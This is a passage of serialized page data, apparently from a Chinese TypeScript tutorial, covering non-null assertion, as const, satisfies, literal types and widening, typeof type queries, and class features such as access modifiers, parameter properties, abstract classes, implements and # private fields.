就运行时崩\n",[331,101407,101408],{"class":333,"line":357},[331,101409,459],{"class":337},[331,101411,101412,101414,101416,101418,101420,101422,101424,101427,101429,101431],{"class":333,"line":371},[331,101413,951],{"class":616},[331,101415,101172],{"class":344},[331,101417,957],{"class":616},[331,101419,960],{"class":337},[331,101421,1518],{"class":501},[331,101423,966],{"class":337},[331,101425,101426],{"class":365},"'root'",[331,101428,1351],{"class":337},[331,101430,1150],{"class":616},[331,101432,101433],{"class":1003},"    \u002F\u002F 断言这个 id 一定存在\n",[11,101435,101436,101438,101439,101442,101443,101446,101447,101450,101451,101453,101454,101456,101457,161],{},[22,101437,1150],{}," 是「我检查过了，编译器别念叨」的速记。风险显而易见：如果你",[17,101440,101441],{},"没","真检查过，",[22,101444,101445],{},"s!.length"," 就是 ",[22,101448,101449],{},"Cannot read properties of undefined","。它是 ",[22,101452,98034],{}," 下的止痛药，不该变成主食——能用可选链 ",[22,101455,63584],{},"、能用收窄分支解决的，都别用 ",[22,101458,1150],{},[53,101460,101462,101464],{"id":101461},"as-const把字面量彻底钉死",[22,101463,97464],{},"：把字面量彻底钉死",[11,101466,101467,101469,101470,101473,101474,101476],{},[22,101468,97464],{}," 不是断言类型，而是",[17,101471,101472],{},"断言「别再宽化了」","：加在字面量后面，所有属性变 ",[22,101475,26123],{},"，所有值收成最具体的字面量类型：",[308,101478,101480],{"className":5205,"code":101479,"language":5207,"meta":314,"style":314},"const a = { dir: 'up' }         \u002F\u002F dir: string\nconst b = { dir: 'up' } as const \u002F\u002F dir: 'up'（且整个对象只读）\n\nconst dirs = ['up', 'down'] as const   \u002F\u002F readonly ['up', 'down']，可当联合 'up'|'down' 用\n",[22,101481,101482,101502,101523,101527],{"__ignoreMap":314},[331,101483,101484,101486,101488,101490,101493,101496,101499],{"class":333,"line":334},[331,101485,951],{"class":616},[331,101487,60744],{"class":344},[331,101489,957],{"class":616},[331,101491,101492],{"class":337}," { dir: ",[331,101494,101495],{"class":365},"'up'",[331,101497,101498],{"class":337}," }         ",[331,101500,101501],{"class":1003},"\u002F\u002F dir: string\n",[331,101503,101504,101506,101508,101510,101512,101514,101516,101518,101520],{"class":333,"line":341},[331,101505,951],{"class":616},[331,101507,60747],{"class":344},[331,101509,957],{"class":616},[331,101511,101492],{"class":337},[331,101513,101495],{"class":365},[331,101515,2599],{"class":337},[331,101517,73430],{"class":616},[331,101519,13749],{"class":501},[331,101521,101522],{"class":1003}," \u002F\u002F dir: 'up'（且整个对象只读）\n",[331,101524,101525],{"class":333,"line":357},[331,101526,998],{"emptyLinePlaceholder":997},[331,101528,101529,101531,101534,101536,101538,101540,101542,101545,101547,101549,101551],{"class":333,"line":371},[331,101530,951],{"class":616},[331,101532,101533],{"class":344}," dirs",[331,101535,957],{"class":616},[331,101537,1108],{"class":337},[331,101539,101495],{"class":365},[331,101541,409],{"class":337},[331,101543,101544],{"class":365},"'down'",[331,101546,1114],{"class":337},[331,101548,73430],{"class":616},[331,101550,13749],{"class":501},[331,101552,101553],{"class":1003},"   \u002F\u002F readonly ['up', 'down']，可当联合 'up'|'down' 用\n",[11,101555,101556,101557,101559],{},"第九章会专门讲它解决「字面量宽化」的价值，这里先记住：",[22,101558,97464],{}," 帮你把「值」冻成「类型」。",[53,101561,101563,101565],{"id":101562},"satisfies校验形状但不丢窄化",[22,101564,101144],{},"：校验形状但不丢窄化",[11,101567,101568,101569,101571,101572,101574],{},"TS 4.9 新增的 ",[22,101570,101144],{}," 解决一个 ",[22,101573,73430],{}," 解决不好的两难。你想让一个值符合某类型、又不想因此丢掉它精确的字面量推断：",[308,101576,101578],{"className":5205,"code":101577,"language":5207,"meta":314,"style":314},"type Route = string | (() => string)\nconst routes = {\n  home: '\u002F',\n  about: () => '\u002Fabout',\n} satisfies Record\u003Cstring, Route>   \u002F\u002F 校验：值必须是 Route\n\nroutes.home     \u002F\u002F 类型是 '\u002F'（字面量保住），而不是被 route 的注解宽化\nroutes.about()  \u002F\u002F 能调用，且知道存在\n",[22,101579,101580,101602,101612,101621,101635,101658,101662,101670],{"__ignoreMap":314},[331,101581,101582,101584,101587,101589,101591,101593,101596,101598,101600],{"class":333,"line":334},[331,101583,3628],{"class":616},[331,101585,101586],{"class":501}," Route",[331,101588,957],{"class":616},[331,101590,96819],{"class":344},[331,101592,15984],{"class":616},[331,101594,101595],{"class":337}," (() ",[331,101597,1489],{"class":616},[331,101599,96819],{"class":344},[331,101601,972],{"class":337},[331,101603,101604,101606,101608,101610],{"class":333,"line":341},[331,101605,951],{"class":616},[331,101607,31522],{"class":344},[331,101609,957],{"class":616},[331,101611,1100],{"class":337},[331,101613,101614,101617,101619],{"class":333,"line":357},[331,101615,101616],{"class":337},"  home: ",[331,101618,5345],{"class":365},[331,101620,354],{"class":337},[331,101622,101623,101626,101628,101630,101633],{"class":333,"line":371},[331,101624,101625],{"class":501},"  about",[331,101627,8621],{"class":337},[331,101629,1489],{"class":616},[331,101631,101632],{"class":365}," '\u002Fabout'",[331,101634,354],{"class":337},[331,101636,101637,101639,101641,101644,101646,101648,101650,101653,101655],{"class":333,"line":384},[331,101638,9474],{"class":337},[331,101640,101144],{"class":616},[331,101642,101643],{"class":501}," Record",[331,101645,510],{"class":337},[331,101647,8909],{"class":344},[331,101649,409],{"class":337},[331,101651,101652],{"class":501},"Route",[331,101654,16314],{"class":337},[331,101656,101657],{"class":1003},"\u002F\u002F 校验：值必须是 Route\n",[331,101659,101660],{"class":333,"line":397},[331,101661,998],{"emptyLinePlaceholder":997},[331,101663,101664,101667],{"class":333,"line":418},[331,101665,101666],{"class":337},"routes.home     ",[331,101668,101669],{"class":1003},"\u002F\u002F 类型是 '\u002F'（字面量保住），而不是被 route 的注解宽化\n",[331,101671,101672,101675,101678,101681],{"class":333,"line":427},[331,101673,101674],{"class":337},"routes.",[331,101676,101677],{"class":501},"about",[331,101679,101680],{"class":337},"()  ",[331,101682,101683],{"class":1003},"\u002F\u002F 能调用，且知道存在\n",[11,101685,101686,101687,101690,101691,101694,101695,101698,101699,101701,101702,101705,101706,101708,101709,101711,101712,101714],{},"对比 ",[22,101688,101689],{},"const routes: Record\u003Cstring, Route> = {...}","——那样 ",[22,101692,101693],{},"routes.home"," 会变成宽泛的 ",[22,101696,101697],{},"string | (() => string)","，丢掉「它其实就是 '\u002F'」的信息。",[22,101700,101144],{}," 的分工就是：",[17,101703,101704],{},"做「类型检查」但保留「更精确的推断结果」","，还能在使用点发现多余\u002F缺失属性。三者记住一句话——",[22,101707,73430],{}," 改编译器看法、",[22,101710,97464],{}," 钉死字面量、",[22,101713,101144],{}," 校验又不丢精度。",[48,101716,101718,101719,101721],{"id":101717},"九字面量类型与-as-const把值当类型用","九、字面量类型与 ",[22,101720,97464],{},"：把「值」当「类型」用",[11,101723,101724,101725,161,101728,101730,101731,101733],{},"这一章解释一件很多人后知后觉的事：在 TS 里，",[17,101726,101727],{},"一个具体的值本身就是一种类型",[22,101729,101495],{}," 不只是字符串的一个实例，它还是一个「只可能是 up 这个字符串」的类型。理解这点，第五、七章的字面量窄化、",[22,101732,63817],{}," 穷尽才真正说得通。",[53,101735,101736],{"id":101736},"字面量类型家族",[11,101738,101739,101740,272,101742,101744],{},"字符串、数字、布尔、",[22,101741,5858],{},[22,101743,5872],{}," 都能各自成为「只包含这一个值」的字面量类型：",[308,101746,101748],{"className":5205,"code":101747,"language":5207,"meta":314,"style":314},"let a: 'hello' = 'hello'     \u002F\u002F 只能是 hello\nlet n: 42 = 42               \u002F\u002F 只能是 42\nlet t: true = true           \u002F\u002F 只能是 true（注意不是 boolean）\n",[22,101749,101750,101767,101784],{"__ignoreMap":314},[331,101751,101752,101754,101756,101758,101760,101762,101764],{"class":333,"line":334},[331,101753,18926],{"class":616},[331,101755,60744],{"class":337},[331,101757,1180],{"class":616},[331,101759,96512],{"class":365},[331,101761,957],{"class":616},[331,101763,96512],{"class":365},[331,101765,101766],{"class":1003},"     \u002F\u002F 只能是 hello\n",[331,101768,101769,101771,101773,101775,101777,101779,101781],{"class":333,"line":341},[331,101770,18926],{"class":616},[331,101772,28036],{"class":337},[331,101774,1180],{"class":616},[331,101776,64709],{"class":344},[331,101778,957],{"class":616},[331,101780,64709],{"class":344},[331,101782,101783],{"class":1003},"               \u002F\u002F 只能是 42\n",[331,101785,101786,101788,101790,101792,101794,101796,101798],{"class":333,"line":357},[331,101787,18926],{"class":616},[331,101789,33778],{"class":337},[331,101791,1180],{"class":616},[331,101793,13639],{"class":344},[331,101795,957],{"class":616},[331,101797,13639],{"class":344},[331,101799,101800],{"class":1003},"           \u002F\u002F 只能是 true（注意不是 boolean）\n",[11,101802,101803,101804,101807],{},"它们的价值全在",[17,101805,101806],{},"联合","里：把一堆允许值并成一个联合类型，等于给参数列了白名单：",[308,101809,101811],{"className":5205,"code":101810,"language":5207,"meta":314,"style":314},"type Dir = 'up' | 'down' | 'left' | 'right'\nfunction move(d: Dir) { \u002F* 只认这四个 *\u002F }\nmove('up')     \u002F\u002F ✓\nmove('diagonal')   \u002F\u002F ✗ 不在白名单里，直接报错\n",[22,101812,101813,101839,101860,101874],{"__ignoreMap":314},[331,101814,101815,101817,101820,101822,101824,101826,101829,101831,101834,101836],{"class":333,"line":334},[331,101816,3628],{"class":616},[331,101818,101819],{"class":501}," Dir",[331,101821,957],{"class":616},[331,101823,97072],{"class":365},[331,101825,15984],{"class":616},[331,101827,101828],{"class":365}," 'down'",[331,101830,15984],{"class":616},[331,101832,101833],{"class":365}," 'left'",[331,101835,15984],{"class":616},[331,101837,101838],{"class":365}," 'right'\n",[331,101840,101841,101843,101845,101847,101849,101851,101853,101855,101858],{"class":333,"line":341},[331,101842,3047],{"class":616},[331,101844,100490],{"class":501},[331,101846,966],{"class":337},[331,101848,75301],{"class":2472},[331,101850,1180],{"class":616},[331,101852,101819],{"class":501},[331,101854,31033],{"class":337},[331,101856,101857],{"class":1003},"\u002F* 只认这四个 *\u002F",[331,101859,9413],{"class":337},[331,101861,101862,101865,101867,101869,101871],{"class":333,"line":357},[331,101863,101864],{"class":501},"move",[331,101866,966],{"class":337},[331,101868,101495],{"class":365},[331,101870,14439],{"class":337},[331,101872,101873],{"class":1003},"\u002F\u002F ✓\n",[331,101875,101876,101878,101880,101883,101885],{"class":333,"line":371},[331,101877,101864],{"class":501},[331,101879,966],{"class":337},[331,101881,101882],{"class":365},"'diagonal'",[331,101884,62134],{"class":337},[331,101886,101887],{"class":1003},"\u002F\u002F ✗ 不在白名单里，直接报错\n",[11,101889,101890,101891,101893,101894,101896,101897,101900],{},"这比用 ",[22,101892,8909],{}," 宽泛接参、运行时再 ",[22,101895,11541],{}," 判断安全太多——白名单错误在",[17,101898,101899],{},"写的时候","就暴露了。",[53,101902,101903],{"id":101903},"字面量宽化问题",[11,101905,101906,101907,12247,101910,101912,101913,23069,101915,101917,101918,101920,101921,101924,101925,101928],{},"TS 默认会把字面量「往宽里推」：",[22,101908,101909],{},"let x = 'up'",[22,101911,21547],{}," 被推断成 ",[22,101914,8909],{},[22,101916,101495],{},"，因为 ",[22,101919,18926],{}," 意味着以后可能改成别的字符串。这个「从具体值放宽到所属基本类型」就叫",[17,101922,101923],{},"宽化（widening）","。多数时候它合理，但当你",[17,101926,101927],{},"想要那个具体类型","时就成了障碍。",[11,101930,101931,101932,17306,101935,101937,101938,161],{},"三条把类型「钉在字面量」的手段：显式注解 ",[22,101933,101934],{},"const d: Dir = 'up'",[22,101936,951],{}," 声明（第二章讲过的窄化）；",[22,101939,97464],{},[4748,101941],{"height":40485,"src":101942,"title":101943},"\u002Ftutorials\u002Fts\u002Fdemos\u002F09-literal-const.html","示例 09：字面量类型与 as const——对抗宽化",[53,101945,101947,101949],{"id":101946},"as-const-的三种落点",[22,101948,97464],{}," 的三种落点",[308,101951,101953],{"className":5205,"code":101952,"language":5207,"meta":314,"style":314},"const s = 'hi' as const          \u002F\u002F 'hi'\nconst arr = [1, 2, 3] as const   \u002F\u002F readonly [1, 2, 3]（元组 + 只读）\nconst obj = { x: 1, y: 'a' } as const  \u002F\u002F { readonly x: 1; readonly y: 'a' }\n",[22,101954,101955,101973,102003],{"__ignoreMap":314},[331,101956,101957,101959,101961,101963,101966,101968,101970],{"class":333,"line":334},[331,101958,951],{"class":616},[331,101960,97722],{"class":344},[331,101962,957],{"class":616},[331,101964,101965],{"class":365}," 'hi'",[331,101967,73463],{"class":616},[331,101969,13749],{"class":501},[331,101971,101972],{"class":1003},"          \u002F\u002F 'hi'\n",[331,101974,101975,101977,101980,101982,101984,101986,101988,101990,101992,101994,101996,101998,102000],{"class":333,"line":341},[331,101976,951],{"class":616},[331,101978,101979],{"class":344}," arr",[331,101981,957],{"class":616},[331,101983,1108],{"class":337},[331,101985,7993],{"class":344},[331,101987,409],{"class":337},[331,101989,9292],{"class":344},[331,101991,409],{"class":337},[331,101993,351],{"class":344},[331,101995,1114],{"class":337},[331,101997,73430],{"class":616},[331,101999,13749],{"class":501},[331,102001,102002],{"class":1003},"   \u002F\u002F readonly [1, 2, 3]（元组 + 只读）\n",[331,102004,102005,102007,102010,102012,102014,102016,102018,102020,102022,102024,102026],{"class":333,"line":357},[331,102006,951],{"class":616},[331,102008,102009],{"class":344}," obj",[331,102011,957],{"class":616},[331,102013,98142],{"class":337},[331,102015,7993],{"class":344},[331,102017,98147],{"class":337},[331,102019,9298],{"class":365},[331,102021,2599],{"class":337},[331,102023,73430],{"class":616},[331,102025,13749],{"class":501},[331,102027,102028],{"class":1003},"  \u002F\u002F { readonly x: 1; readonly y: 'a' }\n",[11,102030,102031,102032,102034,102035,102037,102038,102040,102041,161],{},"对象用了 ",[22,102033,97464],{},"，所有属性都变 ",[22,102036,26123],{}," 且值收成字面量；数组变成只读元组。它常和 ",[22,102039,101144],{},"、可辨识联合、枚举替代方案搭配——第五章那个「联合字面量替代 enum」的写法就靠 ",[22,102042,97464],{},[53,102044,102046,102047,102049],{"id":102045},"把值当类型用typeof-类型查询","把值当类型用：",[22,102048,62850],{}," 类型查询",[11,102051,102052,102055,102056,102059],{},[22,102053,102054],{},"typeof x"," 出现在",[17,102057,102058],{},"类型位置","时，是「取 x 的类型」，配合索引访问能从一组常量里提炼出联合类型：",[308,102061,102063],{"className":5205,"code":102062,"language":5207,"meta":314,"style":314},"const CONFIG = { api: '\u002Fv1', retry: 3 } as const\ntype ConfigKey = keyof typeof CONFIG          \u002F\u002F 'api' | 'retry'\ntype RetryVal = (typeof CONFIG)['retry']      \u002F\u002F 3\n",[22,102064,102065,102089,102108],{"__ignoreMap":314},[331,102066,102067,102069,102072,102074,102076,102078,102081,102083,102085,102087],{"class":333,"line":334},[331,102068,951],{"class":616},[331,102070,102071],{"class":344}," CONFIG",[331,102073,957],{"class":616},[331,102075,98575],{"class":337},[331,102077,98578],{"class":365},[331,102079,102080],{"class":337},", retry: ",[331,102082,351],{"class":344},[331,102084,2599],{"class":337},[331,102086,73430],{"class":616},[331,102088,97498],{"class":616},[331,102090,102091,102093,102096,102098,102101,102103,102105],{"class":333,"line":341},[331,102092,3628],{"class":616},[331,102094,102095],{"class":501}," ConfigKey",[331,102097,957],{"class":616},[331,102099,102100],{"class":616}," keyof",[331,102102,25575],{"class":616},[331,102104,102071],{"class":344},[331,102106,102107],{"class":1003},"          \u002F\u002F 'api' | 'retry'\n",[331,102109,102110,102112,102115,102117,102119,102121,102123,102126,102129,102132],{"class":333,"line":357},[331,102111,3628],{"class":616},[331,102113,102114],{"class":501}," RetryVal",[331,102116,957],{"class":616},[331,102118,1147],{"class":337},[331,102120,62850],{"class":616},[331,102122,102071],{"class":344},[331,102124,102125],{"class":337},")[",[331,102127,102128],{"class":365},"'retry'",[331,102130,102131],{"class":337},"]      ",[331,102133,102134],{"class":1003},"\u002F\u002F 3\n",[11,102136,102137],{},"这是「值」和「类型」两个世界之间的一扇后门：常量对象一处维护，它的键、它的值类型都能反查出来，不用手写两遍。",[53,102139,102141,102143],{"id":102140},"const-类型参数简提",[22,102142,951],{}," 类型参数（简提）",[11,102145,102146,102147,102150,102151,102153],{},"TS 5.0 引入 ",[22,102148,102149],{},"\u003Cconst T>","，让泛型函数在接收实参时自动对它做 ",[22,102152,97464],{}," 式窄化，免去调用方手打：",[308,102155,102157],{"className":5205,"code":102156,"language":5207,"meta":314,"style":314},"function keep\u003Cconst T>(x: T): T { return x }\nkeep({ a: 1 })   \u002F\u002F 推断为 { readonly a: 1 }，而不是 { a: number }\n",[22,102158,102159,102195],{"__ignoreMap":314},[331,102160,102161,102163,102166,102168,102170,102173,102176,102178,102180,102182,102184,102186,102188,102190,102192],{"class":333,"line":334},[331,102162,3047],{"class":616},[331,102164,102165],{"class":501}," keep",[331,102167,510],{"class":337},[331,102169,951],{"class":616},[331,102171,102172],{"class":501}," T",[331,102174,102175],{"class":337},">(",[331,102177,21547],{"class":2472},[331,102179,1180],{"class":616},[331,102181,102172],{"class":501},[331,102183,1351],{"class":337},[331,102185,1180],{"class":616},[331,102187,102172],{"class":501},[331,102189,605],{"class":337},[331,102191,10859],{"class":616},[331,102193,102194],{"class":337}," x }\n",[331,102196,102197,102200,102203,102205,102208],{"class":333,"line":341},[331,102198,102199],{"class":501},"keep",[331,102201,102202],{"class":337},"({ a: ",[331,102204,7993],{"class":344},[331,102206,102207],{"class":337}," })   ",[331,102209,102210],{"class":1003},"\u002F\u002F 推断为 { readonly a: 1 }，而不是 { a: number }\n",[11,102212,102213],{},"日常用得不多，知道它存在、能理解库作者为什么有时用它即可，不深入。",[48,102215,102217],{"id":102216},"十类修饰符参数属性抽象与真正的私有","十、类：修饰符、参数属性、抽象与真正的私有",[11,102219,102220,102221,102223,102224,272,102226,102228,102229,102232,102233,102236],{},"JS 教程第十一章讲过 ",[22,102222,24306],{}," 的运行时行为（",[22,102225,98241],{},[22,102227,68446],{},"、方法、静态成员）。这一章只看 TS 在类上",[17,102230,102231],{},"加了哪些类型层面的东西","：可见性修饰符、参数属性、",[22,102234,102235],{},"implements","、抽象类，以及「类型的类」和「实例的类」这一组容易混的概念。",[53,102238,102240,1901,102242,1901,102245],{"id":102239},"public-private-protected",[22,102241,11501],{},[22,102243,102244],{},"private",[22,102246,102247],{},"protected",[11,102249,102250,102251,102254],{},"TS 给成员加了三种可见性，只在",[17,102252,102253],{},"编译期","生效——擦除后 JS 里根本没有私有：",[308,102256,102258],{"className":5205,"code":102257,"language":5207,"meta":314,"style":314},"class Account {\n  public owner: string      \u002F\u002F public 可省略，默认就是\n  private balance: number   \u002F\u002F 只能在类内部访问\n  protected level: number   \u002F\u002F 类内部 + 子类可访问\n\n  constructor(owner: string) {\n    this.owner = owner\n    this.balance = 0\n    this.level = 1\n  }\n  deposit(n: number) { this.balance += n }\n  getBalance() { return this.balance }\n}\nnew Account('a').balance   \u002F\u002F ✗ 报错：private 不能外部访问\n",[22,102259,102260,102269,102284,102299,102314,102318,102333,102345,102356,102366,102370,102394,102408,102412],{"__ignoreMap":314},[331,102261,102262,102264,102267],{"class":333,"line":334},[331,102263,24306],{"class":616},[331,102265,102266],{"class":501}," Account",[331,102268,1100],{"class":337},[331,102270,102271,102274,102277,102279,102281],{"class":333,"line":341},[331,102272,102273],{"class":616},"  public",[331,102275,102276],{"class":2472}," owner",[331,102278,1180],{"class":616},[331,102280,96819],{"class":344},[331,102282,102283],{"class":1003},"      \u002F\u002F public 可省略，默认就是\n",[331,102285,102286,102289,102292,102294,102296],{"class":333,"line":357},[331,102287,102288],{"class":616},"  private",[331,102290,102291],{"class":2472}," balance",[331,102293,1180],{"class":616},[331,102295,96507],{"class":344},[331,102297,102298],{"class":1003},"   \u002F\u002F 只能在类内部访问\n",[331,102300,102301,102304,102307,102309,102311],{"class":333,"line":371},[331,102302,102303],{"class":616},"  protected",[331,102305,102306],{"class":2472}," level",[331,102308,1180],{"class":616},[331,102310,96507],{"class":344},[331,102312,102313],{"class":1003},"   \u002F\u002F 类内部 + 子类可访问\n",[331,102315,102316],{"class":333,"line":384},[331,102317,998],{"emptyLinePlaceholder":997},[331,102319,102320,102322,102324,102327,102329,102331],{"class":333,"line":397},[331,102321,67817],{"class":616},[331,102323,966],{"class":337},[331,102325,102326],{"class":2472},"owner",[331,102328,1180],{"class":616},[331,102330,96819],{"class":344},[331,102332,2476],{"class":337},[331,102334,102335,102337,102340,102342],{"class":333,"line":418},[331,102336,67832],{"class":344},[331,102338,102339],{"class":337},".owner ",[331,102341,518],{"class":616},[331,102343,102344],{"class":337}," owner\n",[331,102346,102347,102349,102352,102354],{"class":333,"line":427},[331,102348,67832],{"class":344},[331,102350,102351],{"class":337},".balance ",[331,102353,518],{"class":616},[331,102355,62402],{"class":344},[331,102357,102358,102360,102362,102364],{"class":333,"line":439},[331,102359,67832],{"class":344},[331,102361,68419],{"class":337},[331,102363,518],{"class":616},[331,102365,63022],{"class":344},[331,102367,102368],{"class":333,"line":450},[331,102369,453],{"class":337},[331,102371,102372,102375,102377,102379,102381,102383,102385,102387,102389,102391],{"class":333,"line":456},[331,102373,102374],{"class":501},"  deposit",[331,102376,966],{"class":337},[331,102378,27399],{"class":2472},[331,102380,1180],{"class":616},[331,102382,96507],{"class":344},[331,102384,31033],{"class":337},[331,102386,18040],{"class":344},[331,102388,102351],{"class":337},[331,102390,25647],{"class":616},[331,102392,102393],{"class":337}," n }\n",[331,102395,102396,102399,102401,102403,102405],{"class":333,"line":775},[331,102397,102398],{"class":501},"  getBalance",[331,102400,17990],{"class":337},[331,102402,10859],{"class":616},[331,102404,18014],{"class":344},[331,102406,102407],{"class":337},".balance }\n",[331,102409,102410],{"class":333,"line":785},[331,102411,459],{"class":337},[331,102413,102414,102416,102418,102420,102422,102425],{"class":333,"line":795},[331,102415,35155],{"class":616},[331,102417,102266],{"class":501},[331,102419,966],{"class":337},[331,102421,9298],{"class":365},[331,102423,102424],{"class":337},").balance   ",[331,102426,102427],{"class":1003},"\u002F\u002F ✗ 报错：private 不能外部访问\n",[11,102429,102430,102431,102433,102434,102437,102438,102441,102442,161],{},"要认清：",[22,102432,102244],{}," 挡的是",[17,102435,102436],{},"编译器","，不是铁了心的运行时攻击——",[22,102439,102440],{},"account['balance']"," 用字符串索引能绕开（TS 层面也会红，但值确实读得到）。它是「契约」不是「保险箱」。真要运行时私有见下面的 ",[22,102443,20333],{},[53,102445,102447],{"id":102446},"参数属性构造函数的样板消除","参数属性：构造函数的样板消除",[11,102449,102450,102451,102453],{},"在 constructor 参数前面直接加修饰符和 ",[22,102452,26123],{},"，TS 会自动帮你声明字段并赋值：",[308,102455,102457],{"className":5205,"code":102456,"language":5207,"meta":314,"style":314},"class Point {\n  constructor(\n    public readonly x: number,\n    public readonly y: number\n  ) {}          \u002F\u002F 不用手写 this.x = x 了\n}\n",[22,102458,102459,102467,102473,102489,102501,102509],{"__ignoreMap":314},[331,102460,102461,102463,102465],{"class":333,"line":334},[331,102462,24306],{"class":616},[331,102464,98108],{"class":501},[331,102466,1100],{"class":337},[331,102468,102469,102471],{"class":333,"line":341},[331,102470,67817],{"class":616},[331,102472,31173],{"class":337},[331,102474,102475,102478,102481,102483,102485,102487],{"class":333,"line":357},[331,102476,102477],{"class":616},"    public",[331,102479,102480],{"class":616}," readonly",[331,102482,63067],{"class":2472},[331,102484,1180],{"class":616},[331,102486,96507],{"class":344},[331,102488,354],{"class":337},[331,102490,102491,102493,102495,102497,102499],{"class":333,"line":371},[331,102492,102477],{"class":616},[331,102494,102480],{"class":616},[331,102496,63083],{"class":2472},[331,102498,1180],{"class":616},[331,102500,98904],{"class":344},[331,102502,102503,102506],{"class":333,"line":384},[331,102504,102505],{"class":337},"  ) {}          ",[331,102507,102508],{"class":1003},"\u002F\u002F 不用手写 this.x = x 了\n",[331,102510,102511],{"class":333,"line":397},[331,102512,459],{"class":337},[11,102514,102515,102516,102519],{},"这一条能把「声明字段 + 构造函数赋值」的重复代码砍掉大半，日常写数据类时高频使用。注意它是 TS 独有语法，擦除后仍会还原成 ",[22,102517,102518],{},"this.x = x"," 的普通赋值。",[53,102521,102523,102525],{"id":102522},"static-与抽象类",[22,102524,12579],{}," 与抽象类",[11,102527,102528,102530,102531,102534,102535,102537],{},[22,102529,12579],{}," 是 JS 就有的（挂在类本身而非实例），TS 只是给静态成员也加上类型注解。",[22,102532,102533],{},"abstract"," 是纯 TS 的：抽象类不能直接 ",[22,102536,35155],{},"，它的抽象方法没有实现、必须由子类补全，是「强制子类实现某些方法」的手段：",[308,102539,102541],{"className":5205,"code":102540,"language":5207,"meta":314,"style":314},"abstract class Shape {\n  abstract area(): number         \u002F\u002F 只声明不实现\n  describe() { return `area=${this.area()}` }   \u002F\u002F 可以有普通实现\n}\nclass Square extends Shape {\n  constructor(private side: number) { super() }\n  area() { return this.side ** 2 }   \u002F\u002F 必须实现，否则报错\n}\nnew Shape()   \u002F\u002F ✗ 抽象类不能实例化\n",[22,102542,102543,102553,102569,102596,102600,102613,102634,102657,102661],{"__ignoreMap":314},[331,102544,102545,102547,102549,102551],{"class":333,"line":334},[331,102546,102533],{"class":616},[331,102548,6024],{"class":616},[331,102550,99116],{"class":501},[331,102552,1100],{"class":337},[331,102554,102555,102558,102560,102562,102564,102566],{"class":333,"line":341},[331,102556,102557],{"class":616},"  abstract",[331,102559,99218],{"class":501},[331,102561,68453],{"class":337},[331,102563,1180],{"class":616},[331,102565,96507],{"class":344},[331,102567,102568],{"class":1003},"         \u002F\u002F 只声明不实现\n",[331,102570,102571,102574,102576,102578,102581,102583,102585,102587,102589,102591,102593],{"class":333,"line":357},[331,102572,102573],{"class":501},"  describe",[331,102575,17990],{"class":337},[331,102577,10859],{"class":616},[331,102579,102580],{"class":365}," `area=${",[331,102582,18040],{"class":344},[331,102584,1192],{"class":365},[331,102586,99380],{"class":501},[331,102588,68453],{"class":365},[331,102590,8524],{"class":365},[331,102592,5391],{"class":337},[331,102594,102595],{"class":1003},"\u002F\u002F 可以有普通实现\n",[331,102597,102598],{"class":333,"line":371},[331,102599,459],{"class":337},[331,102601,102602,102604,102607,102609,102611],{"class":333,"line":384},[331,102603,24306],{"class":616},[331,102605,102606],{"class":501}," Square",[331,102608,68378],{"class":616},[331,102610,99116],{"class":501},[331,102612,1100],{"class":337},[331,102614,102615,102617,102619,102621,102624,102626,102628,102630,102632],{"class":333,"line":397},[331,102616,67817],{"class":616},[331,102618,966],{"class":337},[331,102620,102244],{"class":616},[331,102622,102623],{"class":2472}," side",[331,102625,1180],{"class":616},[331,102627,96507],{"class":344},[331,102629,31033],{"class":337},[331,102631,68446],{"class":344},[331,102633,19943],{"class":337},[331,102635,102636,102639,102641,102643,102645,102648,102650,102652,102654],{"class":333,"line":418},[331,102637,102638],{"class":501},"  area",[331,102640,17990],{"class":337},[331,102642,10859],{"class":616},[331,102644,18014],{"class":344},[331,102646,102647],{"class":337},".side ",[331,102649,99267],{"class":616},[331,102651,18023],{"class":344},[331,102653,5391],{"class":337},[331,102655,102656],{"class":1003},"\u002F\u002F 必须实现，否则报错\n",[331,102658,102659],{"class":333,"line":427},[331,102660,459],{"class":337},[331,102662,102663,102665,102667,102669],{"class":333,"line":439},[331,102664,35155],{"class":616},[331,102666,99116],{"class":501},[331,102668,32115],{"class":337},[331,102670,102671],{"class":1003},"\u002F\u002F ✗ 抽象类不能实例化\n",[53,102673,102675,102677],{"id":102674},"implements声明我满足某个契约",[22,102676,102235],{},"：声明「我满足某个契约」",[11,102679,102680,102682],{},[22,102681,102235],{}," 让类显式承诺它符合某个接口。它只检查「类有没有接口的成员」，不改变类型本身：",[308,102684,102686],{"className":5205,"code":102685,"language":5207,"meta":314,"style":314},"interface Drivable { steer(angle: number): void }\nclass Car implements Drivable {\n  steer(angle: number) { \u002F* ... *\u002F }   \u002F\u002F 漏了 steer 就编译报错\n}\n",[22,102687,102688,102717,102731,102753],{"__ignoreMap":314},[331,102689,102690,102692,102695,102697,102700,102702,102705,102707,102709,102711,102713,102715],{"class":333,"line":334},[331,102691,96572],{"class":616},[331,102693,102694],{"class":501}," Drivable",[331,102696,605],{"class":337},[331,102698,102699],{"class":501},"steer",[331,102701,966],{"class":337},[331,102703,102704],{"class":2472},"angle",[331,102706,1180],{"class":616},[331,102708,96507],{"class":344},[331,102710,1351],{"class":337},[331,102712,1180],{"class":616},[331,102714,97985],{"class":344},[331,102716,9413],{"class":337},[331,102718,102719,102721,102724,102727,102729],{"class":333,"line":341},[331,102720,24306],{"class":616},[331,102722,102723],{"class":501}," Car",[331,102725,102726],{"class":616}," implements",[331,102728,102694],{"class":501},[331,102730,1100],{"class":337},[331,102732,102733,102736,102738,102740,102742,102744,102746,102748,102750],{"class":333,"line":357},[331,102734,102735],{"class":501},"  steer",[331,102737,966],{"class":337},[331,102739,102704],{"class":2472},[331,102741,1180],{"class":616},[331,102743,96507],{"class":344},[331,102745,31033],{"class":337},[331,102747,21851],{"class":1003},[331,102749,5391],{"class":337},[331,102751,102752],{"class":1003},"\u002F\u002F 漏了 steer 就编译报错\n",[331,102754,102755],{"class":333,"line":371},[331,102756,459],{"class":337},[11,102758,102759,102760,102762],{},"一个常见误解：",[22,102761,102235],{}," 不是运行时校验，也不像 Java 那样参与多态判定——它只是编译期的一张检查清单。忘了实现某方法时报错，仅此而已。",[53,102764,102766,102767,102769],{"id":102765},"真正的私有-字段","真正的私有：",[22,102768,20333],{}," 字段",[11,102771,102772,102773,102775,102776,102779],{},"ES 标准的私有字段 ",[22,102774,19427],{}," 才是运行时真正私有的，外部",[17,102777,102778],{},"任何方式","都摸不到：",[308,102781,102783],{"className":5205,"code":102782,"language":5207,"meta":314,"style":314},"class Vault {\n  #secret = 'abc'              \u002F\u002F 运行时私有，编译后是真私有\n  private hint = 'x'           \u002F\u002F 仅编译期私有\n  reveal() { return this.#secret 